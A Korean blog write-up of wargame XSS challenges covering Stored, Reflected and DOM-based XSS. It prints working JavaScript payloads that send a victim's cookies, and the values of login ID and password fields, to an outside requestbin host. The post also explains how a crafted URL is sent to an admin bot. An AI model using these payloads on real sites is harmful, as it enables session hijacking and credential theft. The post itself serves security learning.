본문 바로가기

웹 해킹

[XSS] 관리자의 계정을 탈취하자! (쿠키 탈취, 키로거) + DOM Based XSS

지난 포스팅에서 XSS공격으로 alert(1)을 띄우는 것을 수행하였다.

이번엔 alert(1)대신에 쿠키 탈취 코드를 삽입하여 관리자의 쿠키를 탈취하는것에 대한 내용을 담아 포스팅을 하려 한다.

 

쿠키를 탈취하기 위해서는 고의적으로 삽입한 스크립트를 이용해 정보를 받을 사용자의 서버가 필요한데

https://tools.dreamhack.games/requestbin/

드림핵에서 제공된 Requestbin을 사용하여 정보를 받는 방식을 사용하였다.

 

dreamhack-tools

 

tools.dreamhack.games


XSS공격, 스크립트를 삽입하는 포인트를 찾는것과 그에 대한 설명은

https://jdelaf.tistory.com/16 지난 포스팅에 나와있으니 쿠키 탈취 코드만 삽입하여 정상적으로 쿠키를 가져오는 동작을 수행하는것에만 초점을 두고 Stored XSS 방식과 Reflected XSS 방식 하나씩 다뤄보겠다.

 

1. Stored XSS [XSS_5]

지난번 포스팅에서 다뤘던 XSS_5번 문제

내부 자바스크립트에서 '<' 와 '>'를 HTML Entity로 자바스크립트에서 치환하여 요청을 보내주었던 부분을

Burp Suite를 사용해 다시 '<' 와 '>' 로 변환하는 방식으로 XSS 공격에 성공하였다.

 

게시판 글 수정도 같은 방식으로 작동하는걸 확인한 후에

XSS 공격 포인트에 쿠키 탈취코드를 삽입하였다.

**스크립트 내부 코드 설명은 아래

 

이제 해당 글을 요청할 때 마다 고의적으로 작성한 스크립트가 작동하여

사용자의 쿠키를 드림핵 Requestbin에서 받을수 있게 되었다.

 

정상적으로 값이 전달됨을 확인.

이제 해당 게시글의 URL을 관리자에게 보내주었다.

flag GET!

> 사용한 Javascript 코드

<script>
var data = document.cookie;
var i = new Image();
i.src = "https://kblklwj.request.dreamhack.games/?cookie="+data
</script>

 

1. 사용자의 쿠키를 data 변수에 저장한다.

2. Image 객체 생성

3. Image 객체를 공격자의 서버(드림핵 Requestbin)에 쿠키 값(data)을 담아 요청한다.

4. 서버에서 data(쿠키)가 담겨 요청이 온 것을 확인할 수 있다.

 

> 쿠키 탈취 성공

 

2. Reflected XSS [XSS_6]

지난번 로그인시 사용자가 요청시 입력한 ID가 응답에 그대로 오는것을 확인.

ID에 스크립트를 삽입해 XSS 포인트를 찾아내었었다.

 

[XSS_6]

 

해당 문제도 

<script>
var data = document.cookie;
var i = new Image();
i.src = "https://kblklwj.request.dreamhack.games/?cookie="+data
</script>

위의 코드를 사용해 관리자의 계정을 탈취하려 하였으나 > 실패

 

첫번째로 오타 체크 및 URL을 직접적으로 데이터를 보내보았으나 > 이상없음

 

로그인시 발생한 XSS 포인트 이기 때문에 키로거 또는

Image 객체를 요청하는 것을 필터링한것인가 생각하였다.

 


**수정**


아래 코드는 키로거에 적합하지 않은걸로 판단된다.

처음 접속시 로드되는 id와 pw의 value를 가져와 넘겨주는 코드이기때문.

만약 키로거로 활용하려면 submit버튼을 눌렀을때 서버로 전송하는 코드를 추가로 작성해주어야 할것같다.

 

따라서 키로거 코드 삽입

<script>
var url = "https://pabiqdw.request.dreamhack.games/?keys=";

var id = document.getElementById("id").value;
var pw = document.getElementById("pw").value;

var keys = "id : " + id + " pw : " + pw;

var send = url + keys;
new Image().src = url + keys;
</script>

 

id와 pw 태그의 값을 받아와

Image객체를 생성하여 값을 담아 드림핵 Requestbin 사이트에 요청을 보내주었다.

> 실패

 

 

Image태그를 이용한 방식에 문제가 있나 싶어

다른 방식을 찾아보았는데

location.href 방식을 사용하여 값을 요청하는 방식도 있다는걸 찾을 수 있었다.

 

해당 URL을 Copy해준뒤 관리자에게 URL을 보내주었다.


DOM Based XSS

 

위 사진과 같은 페이지가 있다.

dombased로 검색하여 서버에 요청을 보내주었을때

'dombased'에 대한 검색 결과가 없습니다. 라는 응답을 보내준다.

따라서 Reflected XSS 으로 착각할 수 있지만.

 

막상 찾으려고 하면 'dombased'라는 문구는 응답에 존재하지 않는다.

그 이유는 아래 사진을보면

우리가 입력한 키워드(파라미터)를 브라우저에서 조립해서 document.write 함수를 통해 사용자에게 보여주게 된다.

이러한 경우를 Dom based XSS라고 하며 document.write 함수안에 스크립트 문구를 사용하게 되면 해당 코드를 실행하게 되므로 XSS 공격포인트가 된다.

 

실제 삽입

해당 URL을 복사하여 접속하여도 같은 스크립트가 작동하는것을 알 수 있다.

해당 URL을 통해 XSS 공격이 가능한것을 알 수 있다.